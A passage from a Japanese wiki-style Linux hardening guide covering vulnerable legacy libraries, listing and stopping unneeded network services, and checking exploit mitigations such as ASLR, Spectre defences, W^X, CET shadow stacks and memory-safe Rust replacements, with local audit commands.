** libwebp - [https://access.redhat.com/security/cve/cve-2023-4863 CVE-2023-4863]（WebP画像で任意コード実行の可能性）
* 動画ライブラリ
** FFmpeg - [https://access.redhat.com/security/cve/cve-2024-22860 CVE-2024-22860]（JPEG XLアニメーションで任意コード実行の可能性）
* 圧縮ライブラリ
** libarchive - [https://access.redhat.com/security/cve/cve-2026-15028 CVE-2026-15028]（tarアーカイブ形式で任意コード実行の可能性）
** zlib - [https://access.redhat.com/security/cve/cve-2002-0059 CVE-2002-0059]（Deflate圧縮形式で任意コード実行の可能性）
** bzip2 - [https://access.redhat.com/security/cve/cve-2010-0405 CVE-2010-0405]（BZ2圧縮形式で任意コード実行の可能性）

これらのライブラリはABI（アプリケーションバイナリインターフェイス）が変更されて新しいバージョンの共有ライブラリにドロップイン置換できないものも多くなっています。

また国内で使われている古いソフトウェアでは開発中止になった以下のライブラリも問題となっています:
* UNLHA32.DLL&lt;ref&gt;[https://forest.watch.impress.co.jp/docs/news/372729.html 圧縮・解凍用DLL「UNLHA32.DLL」が開発中止、作者はLZHの利用中止を呼びかけ] Impress 2010年6月7日&lt;/ref&gt;

Webフレームワークでは開発中止となった以下のフレームワークが問題となっています:
* [[:w:Model View Controller|Model View Controller]]フレームワーク（代替候補: [[:w:Apache Struts|Apache Struts]] 2、[[:w:Spring Framework#Model-View-Controller フレームワーク|Spring MVC]]）
** [[:w:en:Apache Struts 1|Apache Struts 1]]（〜2008年） - Java言語
* [[:w:アスペクト指向プログラミング|アスペクト指向フレームワーク]]（代替候補: [[:w:Spring Framework|Spring Framework]]、[[:w:en:Micronaut (framework)|Micronaut]]）
** [[:w:Seasar|Seasar]]（〜2016年） - Java言語
* [[:w:シングルページアプリケーション|シングルページアプリケーション]]フレームワーク（代替候補: [[:w:Angular|Angular]]、[[:w:Vue.js|Vue.js]]）
** [[:w:AngularJS|AngularJS]]（〜2022年） - JavaScript

=== 古いハードウェアに対処する ===
サポート切れの OS を搭載したハードウェアはどうすれば良いでしょうか。これには使い続けるいくつかの方法がありますが、基本的にオススメしません。古い OS を搭載していたハードウェアはハードウェア仕様も古いからです。

==== スタンドアロン運用 ====
古いハードウェアはインターネットに繋がずに使用すること（スタンドアロン運用）も可能です。

しかしながらUSBメモリでデータをやり取りする場合はUSBメモリ経由での感染などのリスクは残ります。

==== 新しめのLinuxを導入 ====
新しめのLinuxを導入するという方法もあります。

これに適したものでは例えばWindows 11非対応のPC (Intel 第7世代以前、AMD Ryzen 1000シリーズ以前) が挙げられます。

またスマートフォンやタブレットであればカスタムROMが、ルーターであればDD-WRTやOpenWRTが存在します。

==== 手放す ====
手に負えなければデータだけバックアップして手放しましょう。情報が漏れないよう初期化も忘れずに。

== 不要なサービスを止める / 削除する ==
{| class=&quot;wikitable&quot;
|+ サービス表示系コマンド
|-
! 稼働中のシステムサービスを見る
| &lt;code&gt;systemctl --type=service --state=running&lt;/code&gt;
|-
! 稼働中のユーザーサービスを見る
| &lt;code&gt;systemctl --user --type=service --state=running&lt;/code&gt;
|}

=== TCP/UDP経由のサービス ===
TCP/UDPでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -tulnp&lt;/code&gt; を、通信しているプロセスを見るには &lt;code&gt;sudo lsof -i -P -n&lt;/code&gt; を実行しましょう。

{| class=&quot;wikitable&quot;
|+ 主なポート待ち受けのあるプロセス
|-
! ポート !! 機能 !! プロセス名 !! サービス名または起動コマンド !! パッケージ名 (Ubuntu) || 直接問い合せコマンド
|-
| rowspan=2 | 53/UDP&lt;br&gt;53/TCP || rowspan=2 | DNS（名前解決） || systemd-resolved || systemd-resolved.service || systemd-resolved || &lt;code&gt;dig @127.0.0.53 example.com&lt;/code&gt;
|-
| dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;dig @10.208.199.1 example.com&lt;/code&gt;
|-
| rowspan=2 | 5353/UDP || rowspan=2 | [[:w:マルチキャストDNS|マルチキャストDNS]] || systemd-resolved || systemd-resolved.service ||  systemd-resolved || &lt;code&gt;resolvectl -p mdns query $HOSTNAME.local&lt;/code&gt;
|-
| Avahi || avahi-daemon.service || avahi-daemon || &lt;code&gt;avahi-resolve-host-name $HOSTNAME.local&lt;/code&gt;
|-
| 67/UDP&lt;br&gt;547/UDP || [[:w:DHCP|DHCP]]&lt;br&gt;[[:w:DHCPv6|DHCPv6]] || dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;IP=$(ip -4 -o addr show pan1 &amp;vert; grep -oP '(?&lt;=inet )[\d.]+'); sudo dhcping -v -i -s &quot;$IP&quot; -c &quot;$IP&quot;&lt;/code&gt;{{efn|Ubuntuではdhcpingパッケージの導入が必要です。}}
|-
| rowspan=2 | 68/UDP&lt;br&gt;546/UDP || rowspan=2 | DHCPクライアント&lt;br&gt;DHCPv6クライアント{{efn|単独のDHCPクライアントである dhclient、dhcpcd なども存在する。また開発終了になったisc-dhcp-clientも存在した。}} || systemd-networkd&lt;wbr&gt;{{efn|name=&quot;network-all&quot;}} || || systemd || 
|-
| NetworkManager&lt;wbr&gt;{{efn|name=&quot;network-all&quot;|ネットワーク管理全般を担当しています。}} || NetworkManager.service || network-manager || 
|-
| rowspan=2 | 123/UDP&lt;br&gt;4460/TCP || rowspan=2 | NTP（時刻同期）&lt;br&gt;NTS-KE （NTPの鍵交換）{{efn|これらの代替として systemd-timesyncd もありますが、こちらは NTP の代わりに単純な SNTP のみ実装の上、サーバーを持たずクライアント側のみ対応です。}} || ntpd || ntpsec.service || ntpsec || rowspan=2 | &lt;code&gt;ntpdig localhost&lt;/code&gt;{{efn|ローカルへのNTP問い合せは&lt;code&gt;ntpdate -q localhost&lt;/code&gt;でもできますが、こちらはNTP-KE非対応です。}}
|-
| chronyd || chrony.service || chrony
|-
| 80/TCP&lt;br&gt;443/HTTP&lt;br&gt;443/UDP || HTTP&lt;br&gt;HTTPS&lt;br&gt;HTTP/3 (QUIC) || apache2 || apache2.service&lt;br&gt;apache2@.service&lt;br&gt;httpd.service&lt;br&gt;httpd@.service || apache2 || HTTP: &lt;code&gt;curl http://localhost&lt;/code&gt;&lt;br&gt;HTTPS: &lt;code&gt;curl --http2 https://localhost&lt;/code&gt;&lt;br&gt;HTTP/3: &lt;code&gt;curl --http3-only https://localhost&lt;/code&gt;
|-
| rowspan=2 | ユーザーポート/UDP || rowspan=2 | HTTP/3 (QUIC) クライアント&lt;br&gt;WebRTCクライアント || chrome{{efn|Google Chrome}} || &lt;code&gt;google-chrome&lt;/code&gt; || google-chrome (公式APTリポジトリ) || 
|-
| firefox{{efn|Mozzila Firefox}} || &lt;code&gt;firefox&lt;/code&gt; || firefox (snap) || 
|-
| rowspan=2 |21/TCP&lt;br&gt;20/TCP{{efn|アクティブモードのみデータ転送で使われます。}} || rowspan=2 | FTP || proftpd || proftpd.service&lt;br&gt;proftpd@.service || proftpd-core || rowspan=2 | &lt;code&gt;curl ftp://localhost&lt;/code&gt;
|-
| vsftpd || vsftpd.service || vsftpd
|-
| 22/TCP || SSH / SFTP || sshd || ssh.service&lt;br&gt;sshd@.service || openssh-server || &lt;code&gt;ssh-keyscan 127.0.0.1&lt;/code&gt;
|-
| rowspan=2 | 6881/TCP || rowspan=2 | BitTorrent || qbittorrent || &lt;code&gt;qbittorrent&lt;/code&gt; || qbittorrent ||
|-
| ktorrent || &lt;code&gt;ktorrent&lt;/code&gt; || ktorrent ||
|-
| rowspan=2 | 51413/TCP || rowspan=2 | Transmission&lt;wbr&gt;{{efn|BitTorrentプロトコル。TransmissionをベースとするFragmentsも同ポートを使用します。}} || transmission-daemon || transmission-daemon.service || transmission-daemon ||
|-
| transmission-gtk || &lt;code&gt;transmission-gtk&lt;/code&gt; || transmission-gtk ||
|-
| 5001/TCP&lt;br&gt;5001/UDP || rowspan=2|  ネットワークパフォーマンス計測 || iperf || &lt;code&gt;iperf -s&lt;/code&gt; || iperf || &lt;code&gt;iperf -c localhost&lt;/code&gt;
|-
| 5021/TCP&lt;br&gt;5021/UDP || iperf3 || &lt;code&gt;iperf3 -s&lt;/code&gt; || iperf3 || &lt;code&gt;iperf3 -c localhost&lt;/code&gt;
|-
| 1716/UDP&lt;br&gt;1716/TCP&lt;br&gt;ユーザーポート/UDP || スマートフォン連携 (KDE) || kdeconnectd || &lt;code&gt;kdeconnect-app&lt;/code&gt; || kdeconnect ||
|-
| ユーザーポート/TCP || Claude Proxy Service || code{{efn|[[:w:Visual Studio Code|Visual Studio Code]]のプロセス。}} || &lt;code&gt;code&lt;/code&gt; || code (公式APTリポジトリ) || 
&lt;!--
|-
|  || AI コーディング支援 (Google Antigravity CLI{{efn|Command Line Interface}}) || agy || || (Visal Studio Code拡張) || 
--&gt;
|-
| rowspan=2 | 3389/TCP&lt;br&gt;3389/UDP || rowspan=2 | Remote Desktop Protocol || gnome-remote-desktop-daemon{{efn|GNOME Remote Desktop}} || gnome-remote-desktop.service&lt;!-- (system)--&gt;&lt;br&gt;gnome-remote-desktop.service (user)&lt;br&gt;gnome-remote-desktop-headless.service (user) || gnome-remote-desktop || 
|-
| krdpserver || app-org.kde.krdpserver.service (user) || krdp || 
|-
| 47984/TCP&lt;br&gt;47989/TCP&lt;br&gt;48010/TCP&lt;br&gt;47998–48010/UDP || NVIDIA GameStream || sunshine ||  app-dev.&lt;wbr&gt;lizardbyte.&lt;wbr&gt;app.&lt;wbr&gt;Sunshine.service (user) || sunshine (公式debファイル) ||  (moonlight-qt)
|-
| 27031-27036/UDP&lt;br&gt;27036/TCP || Steam Remote Play&lt;ref&gt;[https://help.steampowered.com/ja/faqs/view/2EA8-4D75-DA21-31EB Steam接続に必要なポート] Valve&lt;/ref&gt; || steam || &lt;code&gt;steam&lt;/code&gt; || steam (公式APTリポジトリ) || 
|-
| 1900/UDP || UPnP{{efn|パケットフィルタと共に使用して要求に従ってポートマッピングする。}} || miniupnpd || miniupnpd.service || miniupnpd-nftables&lt;br&gt;miniupnpd-iptables ||
|}

なおUPnPのポートは外側に解放しないようにしましょう。また内側にだけ解放した場合も内側に侵害された機器が存在する場合に危険となるのでVLANでネットワークを分けるなどを心がけましょう。

また外側に開いてるポートはランダム割り当てされないように sysctl の &lt;code&gt;net.ipv4.ip_local_reserved_ports&lt;/code&gt; で予約しておきましょう。この設定を永続化するには /etc/sysctl.d/99-local-ports.conf あたりに&lt;code&gt;net.ipv4.ip_local_reserved_ports=a,b,c&lt;/code&gt;{{efn|ダブルクォーテーションで囲むと「無効な引数です」のエラーになるので注意してください。}}と記述すれば OK です。設定を直ぐに反映するには&lt;code&gt;sudo sysctl --system&lt;/code&gt;を実行しましょう。

&lt;!--TODO: CUPS、Postfix、Samba、Wsdd--&gt;

=== Unix Domain経由のサービス ===
Unix Domainでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -xlp&lt;/code&gt; を実行しましょう。


=== dbus経由のサービス ===
システムバスは &lt;code&gt;busctl --system list&lt;/code&gt;、セッションバスは &lt;code&gt;busctl --user list&lt;/code&gt; で確認することができます。

それらを提供する実行中のプロセスの一覧は以下で取得できます:
* システムバスを提供するプロセス: &lt;code&gt;busctl --system --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;
* ユーザーバスを提供するプロセス: &lt;code&gt;busctl --user --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;

dbusサービスの一部はプロセス未実行のアクティベータブル (activatable) な状態で提供されています。アクティベータブルな状態で提供するサービスの実行コマンドは以下で取得できます:
*  activatableなシステムバスの実行コマンド: &lt;code&gt;busctl --system --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;
*  activatableなユーザーバスの実行コマンド: &lt;code&gt;busctl --user --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;

== 潜在的な脆弱性を減らす ==
現代のプログラムでは以下のような保護が行われています。

=== メモリアドレスの推測困難化 === 
攻撃に必要なコード片（ガジェット）のメモリアドレスを推測しにくくするために、カーネル空間、ユーザー空間の両方で[[:w:アドレス空間配置のランダム化|アドレス空間配置のランダム化]]（ASLR）が行われています。カーネル空間の ASLR は KASLR (Kernel ASLR) とも呼ばれています。

ユーザー空間のプログラムで ASLR を有効にするためには[[:w:位置独立コード|位置独立コード]] (PIC) / 位置独立実行形式 (PIE) である必要があります。Unix で使われる実行形式の ELF では位置独立実行形式が ET_DYN、非位置独立実行形式 (non-PIE) が ET_EXEC となります。

Linuxでは ASLR が無効となる非位置独立実行形式のファイルを以下で検索することができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 非位置独立実行形式 (non-PIE) のバイナリを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}'
/usr/lib/default.sfx
/usr/lib/klibc/bin/mkfifo
/usr/lib/klibc/bin/zcat
/usr/lib/klibc/bin/poweroff
[...]
$ # 非位置独立実行形式 (non-PIE) のバイナリを含むDebianパッケージを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
aidl
busybox-static
code
cpp-15-x86-64-linux-gnu
cuda-gdb-13-4
cuda-nvcc-13-4
cuda-sanitizer-13-4
cuda-tileiras-13-4
debugedit
g++-15-x86-64-linux-gnu
gcc-15-x86-64-linux-gnu
gcc-mingw-w64-i686-posix
gdc-15-x86-64-linux-gnu
gds-tools-13-4
gfortran-15-x86-64-linux-gnu
gh
git-lfs
gobjc-15-x86-64-linux-gnu
gocryptfs
golang-1.26-go
go-md2man
go-mtpfs
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルがユーザー空間 ASLR を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sysctl kernel.randomize_va_space # 0=無し、1=部分的、2=完全
kernel.randomize_va_space = 2
&lt;/syntaxhighlight&gt;

また現在のLinuxカーネルがカーネル ASLR (KASLR) を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_RANDOMIZE_BASE' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_RANDOMIZE_BASE=y
&lt;/syntaxhighlight&gt;

なお ASLR は間接的な関数呼び出し（ C++ の vtable を含む）があると、そのアドレスから ASLR のオフセットがバレてしまい突破されてしまいます。

また CPU の[[:w:投機的実行|投機的実行]]での情報漏れ (Spectre) による[[:w:キャッシュ攻撃|キャッシュサイドチャネル攻撃]]（後述）の一つである「投機的探査」 (BlindSide) によってもコードの位置情報の取得がされ ASLR が突破されてしまいます。

=== 投機的実行の情報漏れ防止 ===
前述のとおり、投機的実行による情報漏れ (Spectre) は攻撃に繋がります。Spectre には境界チェックを迂回する Spectre V1 と間接分岐の分岐先アドレスのキャッシュ{{efn|分岐先バッファ (Branch Target Buffer、BTB)や分岐先アドレスキャッシュ (Branch Target Address Cache、BTAC) と呼ばれる。}}を汚染する Spectre V2 が存在します。&lt;!--TODO: Spectre v3/v4、Zenbleed--&gt;

Spectre V1 を防ぐ方法としては投機的実行を阻害するための命令（x86ではLFENCE）の挿入{{efn|Linuxカーネルでの投機的実行の防止は&lt;code&gt;barrier_nospec()&lt;/code&gt;。}}やアクセスできるアドレス範囲を狭めることが行われています{{efn|GCCでの投機的実行での範囲外アクセス防止は&lt;code&gt;__builtin_speculation_safe_value(...)&lt;/code&gt;、Linuxカーネルでの投機的実行での範囲外アクセス防止は&lt;code&gt;array_index_nospec(...)&lt;/code&gt;&lt;ref&gt;[https://lwn.net/Articles/759423/ Spectre V1 defense in GCC] LWN 2018年7月10日&lt;/ref&gt;。}}。

また Spectre V2 では攻撃を防ぎながらも速度を落とさない方法として脆弱な分岐先アドレスキャッシュに依存する間接分岐の代わりにリターンアドレスのキャッシュ{{efn|リターンスタックバッファ (RSB) と呼ばれる。}}に依存するリターン命令を使う retpoline が登場しました。しかしながらこの retpoline でも速度の低下は起こるため、既知の間接呼び出しを条件分岐 + 直接呼び出しに変換して高速化する手法が模索されました。LLVM では retpoline を有効にする &lt;code&gt;-mretpoline&lt;/code&gt;フラグの処理内に既知の仮想関数呼び出しを[[:w:二分木|二分木]]の直接分岐に置き換える「分岐ファネル」(Branch funnel) が導入されています&lt;ref&gt;[https://reviews.llvm.org/D42453 Use branch funnels for virtual calls when retpoline mitigation is enabled.] LLVM project&lt;/ref&gt;。また Linux カーネルでも既知の間接呼び出しを条件分岐 + 直接呼び出しに変換する INDIRECT_CALL_* マクロが搭載されています&lt;ref&gt;[https://lwn.net/Articles/774743/ Relief for retpoline pain] LWN 2018年12月14日&lt;/ref&gt;。&lt;!--TODO: Intel CETのSHSTKとretpolineの衝突--&gt;

一方、リターン命令の投機的実行も「Retbleed」や AMD CPU における「投機的リターンスタックオーバーフロー」 (SRSO){{efn|Speculative Return Stack Overflow。}}のような脆弱性が見つかっています。

なお低権限コードから高権限コードへの権限境界をまたいだ Spectre および Retbleed は Intel の「間接分岐制限付き投機」(IBRS){{efn|Indirect Branch Restricted Speculation。}}およびそれを高速化した「拡張IBRS」(eIBRS) などハードウェア側によって塞がれました&lt;ref&gt;[https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/technical-documentation/hardware-behavior-related-to-speculative-execution.html Hardware Features and Behavior Related to Speculative Execution] Intel 2026年10月14日&lt;/ref&gt;が、権限境界をまたがないものは今も可能となっています。

=== メモリにおける書き込みと実行の排他化 (W^X) ===
メモリでは書き込み可能領域の実行不可化 ([[:w:NXビット|NXビット]]) と実行可能領域の書き込み不可化による書き込みと実行の排他化（[[:w:en:W^X|W^X]]）が一般的となっています。NXビットは x86 では NXビットは AMD64 と共に搭載された古い機能であるため、今時の CPU と OS は基本的にこれに対応しています。

現在の CPU がNXビットを有効にしているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -o nx
nx
nx
[...]
&lt;/syntaxhighlight&gt;

現在のLinuxカーネルが厳格な W^X を有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '_RWX' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y
CONFIG_STRICT_KERNEL_RWX=y
CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y
CONFIG_STRICT_MODULE_RWX=y
&lt;/syntaxhighlight&gt;

しかしながら書き込みと実行の排他の原則を破ってそれらを同時に行える場所というものも存在しています。読み込み・書き込み・実行が可能なことから「RWXセクション」と呼ばれています。Windows ではメモリページの PAGE_EXECUTE_READWRITE フラグがこれに相当します&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows/win32/memory/memory-protection-constants メモリ保護定数] メモリ保護定数 (WinNT.h) - Win32 apps | Microsoft Learn&lt;/ref&gt;。

Windows のカーネルドライバでは NX フラグの使用が義務付けられています&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-hardware/test/hlk/testref/driver-compatibility-with-device-guard メモリ整合性と VBS とのドライバ互換性] Microsoft&lt;/ref&gt;が、その Windows カーネルにおいても PatchGuard の領域がコード難読化のためにこの原則を破っています。&lt;!--TODO: ホットパッチ--&gt;

また Linux でも実行可能領域を書き込み可能ページとして割り当てて書き込む text_poke 関数が用意されています。

=== 制御フローの操作を防ぐ (CET)  ===
現代では「[[:w:Return-oriented programming|リターン指向プログラミング]]」(ROP)、「呼び出し指向プログラミング」 (COP)、「ジャンプ指向プログラミング」(JOP) 、「[[:en:Sigreturn-oriented programming|Sigreturn指向プログラミング]]」(SROP) などの制御フロー操作による攻撃が一般化していますが、これを防ぐ技術として「[[:w:en:Control-flow integrity#Intel Control-flow Enforcement Technology|制御フロー強制テクノロジー]]」(CET) の「[[:w:en:Indirect branch tracking|間接分岐追跡]]」(IBT) と「[[:w:en:Shadow stack|シャドウスタック]]」(SHSTK) が存在します。

制御フロー強制は比較的新しい技術であるため、対応する CPU は以下に限られます:
* Intel Core (Tiger Lake) 第11世代以降
* AMD Zen 3 以降（シャドウスタックのみ）

現在の CPU が間接分岐追跡 (IBT)  およびシャドウスタックに対応しているかはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep '^flags' /proc/cpuinfo | grep -oE '(ibt|shstk)'
shstk
ibt
shstk
ibt
[...]
&lt;/syntaxhighlight&gt;

またユーザーランドのシャドウスタックの使用にはユーザーランドだけでなくカーネルの対応も必要となります。Linux カーネル では 6.6 以降対応でこれに対応しています（sigreturnにも対応&lt;ref&gt;[https://github.com/torvalds/linux/commit/05e36022c0543ba55a3de55af455b00cb3eb4fcc x86/shstk: Handle signals for shadow stack · torvalds/linux@05e3602] GitHub 2023年8月3日&lt;/ref&gt;）。 Linuxディストリビューションでは Ubuntu 24.04以降、 Red Hat Enterprise Linux 9.7 以降&lt;ref&gt;[https://docs.redhat.com/ja/documentation/red_hat_enterprise_linux/9/html/9.7_release_notes/new-features-kernel 4.8. カーネル - 9.7 リリースノート - Red Hat Enterprise Linux - 9 - Red Hat Documentation] Red Hat&lt;/ref&gt;が標準でシャドウスタックを有効としています。

現在のLinuxカーネルがユーザーランドの間接分岐追跡およびシャドウスタックを有効にしているかは以下で確認できます (出力例はUbuntu 26.04):
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -E '_(IBT|SHADOW_STACK)' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_CC_HAS_IBT=y
# CONFIG_X86_KERNEL_IBT is not set
CONFIG_X86_USER_SHADOW_STACK=y
CONFIG_X86_DISABLED_FEATURE_IBT=y
CONFIG_ARCH_HAS_USER_SHADOW_STACK=y
&lt;/syntaxhighlight&gt;

現在のユーザーランドプログラムの中で間接分岐追跡またはシャドウスタックが無効化されているものはLinuxでは以下で確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)'
/usr/lib/lv2/carla.lv2/carla.so
/usr/lib/7zip/7z
/usr/lib/7zip/7zCon.sfx
/usr/lib/7zip/7zr
/usr/lib/7zip/7z.so
/usr/lib/7zip/7za
/usr/lib/klibc/bin/ipconfig
/usr/lib/klibc/bin/umount
/usr/lib/klibc/bin/halt
[...]
$ # 間接分岐追跡またはシャドウスタックが無効化されているバイナリを含むDebianパッケージを検索
$ find / -type f 2&gt;/dev/null | xargs -I {} sh -c 'readelf -h &quot;{}&quot; &gt;/dev/null 2&gt;&amp;1 &amp;&amp; (readelf -n &quot;{}&quot; 2&gt;/dev/null | grep -E IBT,.*SHSTK &gt; /dev/null || echo &quot;{}&quot;)' | xargs -r -d '\n' -n1 dpkg-query -S | sed 's/: .*//' | sort -u
7zip
aidl
ardour
avr-libc
cargo-1.93
carla
carla-bridge-wine32:i386
carla-bridge-wine64
carla-lv2
carla-vst
cuda-ctadvisor-13-4
cuda-cudart-13-4
[...]
&lt;/syntaxhighlight&gt;

一方、Linuxカーネルのカーネル側のシャドウスタック対応は2026年現在まだ開発中となっています (x86 Kernel Shadow Stacksパッチシリーズ)&lt;ref&gt;[https://www.phoronix.com/news/Linux-Kernel-Shadow-Stacks x86 Kernel Shadow Stacks Being Worked On For Linux As Powerful Control Flow Protection] Phoronix 2026年10月22日&lt;/ref&gt;。

なお、制御フロー強制テクノロジーの間接分岐追跡とシャドウスタックが有効であっても異なる関数の通常呼び出しは防げません。分かりやすい例では関数の間接呼び出しにおいて関数ポインタを&lt;code&gt;sigaction&lt;/code&gt;へと変更して独自のシグナルハンドラを登録し、その後クラッシュさせてそのシグナルハンドラを呼び出すという「セグメンテーション違反指向プログラミング」(SFOP) が挙げられます。また攻撃に使える関数 (dop gadgets) {{efn|dop gadgetsの検索の公式実装は「DOP-StaticAssist」[https://github.com/melynx/DOP-StaticAssist]だが長らく更新されておらず古いLLVM 3.5に依存している状態となっている。}}の通常呼び出しだけで攻撃する「Data-Oriented Programming」(DOP) &lt;ref&gt;Hong Hu et al. [https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=7546545 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks] IEEE 2016年&lt;/ref&gt;{{efn|セキュリティ以外の文脈におけるデータ指向プログラミング、データ指向設計、データ駆動型設計とは異なる。}}という手法も存在します。

C++向けでは仮想関数テーブル (vtable) を改ざんして攻撃に使える仮想関数（仮想関数ガジェット、vfgadget）を呼び出す「偽造オブジェクト指向プログラミング」(COOP) という攻撃手法も登場しています。

=== メモリ安全性の高いソフトウェアへ ===
既存のソフトウェアの脆弱性は7割がメモリ安全性の問題に起因すると言われています&lt;ref&gt;[https://www.cisa.gov/sites/default/files/2023-12/CSAC_TAC_Recommendations-Memory-Safety_Final_20231205_508.pdf REPORT TO THE CISA DIRECTOR Technical Advisory Council Memory Safety] サイバーセキュリティ諮問委員会 (CSAC) 2023年12月5日&lt;/ref&gt;。しかしながら[[C言語]]や[[C++]]はメモリ安全性が低いため、メモリ安全性の確保できる[[Rust]]などで書かれた代替プログラムが登場しています:
{| class=&quot;wikitable&quot;
|+ コマンドのRust版
|-
! コマンドの概要 !! 従来版 !! Rust版
|-
| Unix系の基本コマンド群 || GNU Core Utilities || '''uutils coreutils'''
|-
| ファイル検索コマンド群{{efn|&lt;code&gt;find&lt;/code&gt;、&lt;code&gt;locate&lt;/code&gt;、&lt;code&gt;updatedb&lt;/code&gt;、&lt;code&gt;xargs&lt;/code&gt;の4コマンド}} || GNU Findutils || '''uutils findutils'''
|-
| ファイル差分コマンド群{{efn|&lt;code&gt;diff&lt;/code&gt;、&lt;code&gt;cmp&lt;/code&gt;、&lt;code&gt;diff3&lt;/code&gt;、&lt;code&gt;sdiff&lt;/code&gt;の4コマンド}} || GNU Diffutils || '''uutils diffutils'''
|-
| ストリームエディタ (sed) || GNU sed / FreeBSD sed || '''uutils sed'''
|-
| AWKスクリプト || GNU AWK || '''uutils AWK'''
|-
| 文字列検索 || GNU Grep || '''uutils Grep'''
|-
| tarアーカイブ || GNU Tar || '''uutils tar'''
|-
| アカウント管理コマンド群 || shadow-utils || '''uutils shadow-utils'''
|-
| アクセス制御コマンド群{{efn|&lt;code&gt;chacl&lt;/code&gt;、&lt;code&gt;getfacl&lt;/code&gt;、&lt;code&gt;setfacl&lt;/code&gt;の3コマンド}} || acl || '''uutils acl'''
|-
| procfs{{efn|プロセスファイルシステム}}表示コマンド群 || procps / procps-ng || '''uutils procps'''
|-
| ホスト名管理コマンド群{{efn|&lt;code&gt;hostname&lt;/code&gt;、&lt;code&gt;dnsdomainname&lt;/code&gt;、&lt;code&gt;domainname&lt;/code&gt;、&lt;code&gt;nisdomainname&lt;/code&gt;、&lt;code&gt;ypdomainname&lt;/code&gt;の5コマンド。}} || hostname || '''uutils hostname'''
|-
| Linuxユーティリティ || util-linux || '''uutils util-linux'''
|- 
| 権限昇格 || sudo || '''sudo-rs'''
|-
| 暗号・署名システム || GnuPG || '''Sequoia PGP'''
|-
| 時刻同期 || ntpd || '''ntpd-rs'''
|-
| セキュアシェル (SSH) || OpenSSH || '''russh'''
|}

これらのRustで書かれたコマンドのうちuutils coreutilsとsudo-rsはUbuntuに採用されています。

またライブラリでもRustだけ (Pure Rust) で実装されたものが登場しています:
* 画像ライブラリ - これらは例えばGNOMEデスクトップ環境の画像ローダーGlycinから使われています&lt;ref&gt;[https://gitlab.gnome.org/GNOME/glycin GNOME / glycin · GitLab] GNOME Project&lt;/ref&gt;。
** libpng → pngクレート - PNG画像向け。
** libgif → gifクレート - GIF画像向け。
** libjpeg / libjpeg-turbo → zune-jpeg / libjpeg-turbo-rs - JPEG画像向け。
** OpenJPEG → hayro-jpeg2000 - JPEG 2000画像向け。
** libtiff → tiffクレート - Tiff画像向け
** libwebp → image-webpクレート - WebP画像向け。
** libraw → libopenraw - RAW画像向け。
** librsvg - SVG画像向け。C言語からRustに書き直しされました。
* 圧縮ライブラリ
** zlib / zlib-ng → zlib-rs - Deflate圧縮向け
** libbzip2 → bzip2-rs - BZ2圧縮向け
* 暗号化ライブラリ
** OpenSSL / GnuTLS → [[:w:en:Rustls|Rustls]]
* Unicode処理ライブラリ
** ICU4C → ICU4X
* テキスト整形ライブラリ
** HarfBuzz → HarfRust
* ブラウザエンジン
** Blink/Gecko → Servo

&lt;!--
=== 整合性チェック ===
PatchGuard / HyperGuard
--&gt;

== 不審な改変が行われていないかを調べる ==
